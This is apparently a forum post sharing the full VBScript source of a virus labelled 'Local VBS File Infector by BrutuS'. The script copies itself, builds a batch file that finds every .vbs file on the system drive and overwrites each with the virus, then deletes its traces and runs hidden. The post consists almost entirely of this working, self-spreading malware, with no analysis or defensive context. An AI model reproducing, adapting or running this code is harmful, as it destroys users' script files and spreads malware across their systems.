Autor
Código:
'Local VBS File Infector by BrutuS
Dim FSO, ObjTextFile
Dim Shell
Set Shell = CreateObject("WScript.Shell")
Set FSO = CreateObject("Scripting.FileSystemObject")
Set ObjTextFile = FSO.CreateTextFile("Copy.bat", True)
FSO.CopyFile Wscript.ScriptFullName, "Virus.vbs"
ObjTextFile.WriteLine("@echo off")
ObjTextFile.WriteLine("DIR /S/B %SystemDrive%\*.vbs >> Config.txt")
ObjTextFile.WriteLine("echo Y | FOR /F ""tokens=1,* delims=: "" %%j in (Config.txt) do copy /y Virus.vbs ""%%j:%%k""")
ObjTextFile.WriteLine("del /f /q Config.txt")
ObjTextFile.WriteLine("del /f /q Virus.vbs")
ObjTextFile.WriteLine("del /f /q %0")
ObjTextFile.Close
Shell.Run "Copy.bat", 0
En línea
